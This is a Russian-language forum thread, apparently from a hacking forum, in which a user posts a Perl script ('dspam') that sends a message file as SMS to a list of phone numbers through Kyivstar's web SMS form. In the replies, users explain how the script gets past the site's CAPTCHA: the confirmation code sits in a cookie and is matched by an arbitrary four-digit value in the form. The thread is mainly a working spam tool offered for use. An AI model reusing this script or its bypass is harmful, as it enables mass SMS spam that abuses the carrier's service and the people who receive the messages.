dspam

[demonoid]

#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 2)
{
&help;
}
$mobbase=$ARGV[0];
$msgbase=$ARGV[1];
open(file, "$mobbase") or die print "Cant open mobile.base\n"; @data0=<file>;close file;
open(file, "$msgbase") or die print "Cant open messenge.base\n"; $msgtext=<file>;close file;
$ver="1.00b";
foreach $telefone (@data0)
{
$i++;
chomp($telefone);
$mcode=substr($telefone,0,3);
$mnumber=substr($telefone,3,7);
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"kyivstar.net", PeerPort=>"80");
$param="submitted=true&lang=ua&mobcode=$mcode&number=$mnumber&lat=1&message=$msgtext&antispam=3331";
$len=length($param);
print $sock "POST /_sms.html HTTP/1.0\r\n".
"Accept: */*\r\n".
"Referer: http://www.kyivstar.net/_sms.html?lang=ua\r\n".
"Accept-Language: ru\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Internet Explorer 6.0\r\n".
"Host: www.kyivstar.net\r\n".
"Content-Length: $len\r\n".
"Pragma: no-cache\r\n".
"Cookie: countSms=0; code=3331\r\n".
"Connection: Keep-Alive\r\n\r\n".
"$param";
$sock->recv($answer,512);
if ($answer=~/messageID/) {print "[+]Messenge $mcode-$mnumber send\r\n";}
else {print "[-]Messenge $mcode-$mnumber not send\r\n";}
close($sock);
}
sub help()
{
print q(
________ Written by demonoid (C) 2007
\ __ | ____ ______ _____ __ __
| | | | | __|| __ |/ - \ | \ / |
| | | | | |__ | | | || | | | | \/ |
| | | | |__ || -- || |_| | | |\ /| |
_| -- | __| || ---- | _ | | | -- | |
/_______/ |____||_| |_| |_| |_| |_| V1.00b

usage: ./dspam.pl [mobile.base] [messenge.base]
help:
[mobile.base] - Base with phones.
[messenge.base] - Base with messenge.
example: ./dspam.pl mob.txt msg.txt


);
exit();
}

[DIAgen]

А как же ты справился с antispam?

[GoNZo]

да отжег)) http://www.kyivstar.net/_sms.html

[demonoid]

Смотри сорс в 59 строк разбираемся :cool:
Могу маленькую статейку написать по принципам роботы - если есть любознательные.

[GoNZo]

На 59 строке - #made in Ukraine %)

вот я нашел на 19 это
$param="submitted=true&lang=ua&mobcode=$mcode&number=$mnumber&lat=1&message=$msgtext&antispam=3331";#параметр

точнее antispam=3331, скрипт не пробовал но мне кажется это не обход антиспама)

[blaga]

2GoNZo, впредь пользуйся кнопкой "код"!

[DIAgen]

antispam=3331, скрипт не пробовал но мне кажется это не обход антиспама)
Да там кодеры не много промахнулись, и хронят систему антиспам в куках, смотри строчку где отправляются куки...)

[demonoid]

......скрипт не пробовал но мне кажется это не обход антиспама)
1-не пробывал,так попробуй и отпишись о работоспособности :)

2-Бери пример с DIAgen разобрался и не говорить чушь :)
Совершенно верно так называемый CAPTHA-или в простонародье антиспам ,далеко не идельный .
Смотрим фрагменты POST пакета .
Cookie: countSms=0; code=3331
и тут-же смотрим параметр
submitted=true&lang=ua&mobcode=$mcode&number=$mnumber&lat=1&message=$msgtext&antispam=3331
code=3331 и есть наш заведний код подтверждения,при желании меняем на любое 4-х значное число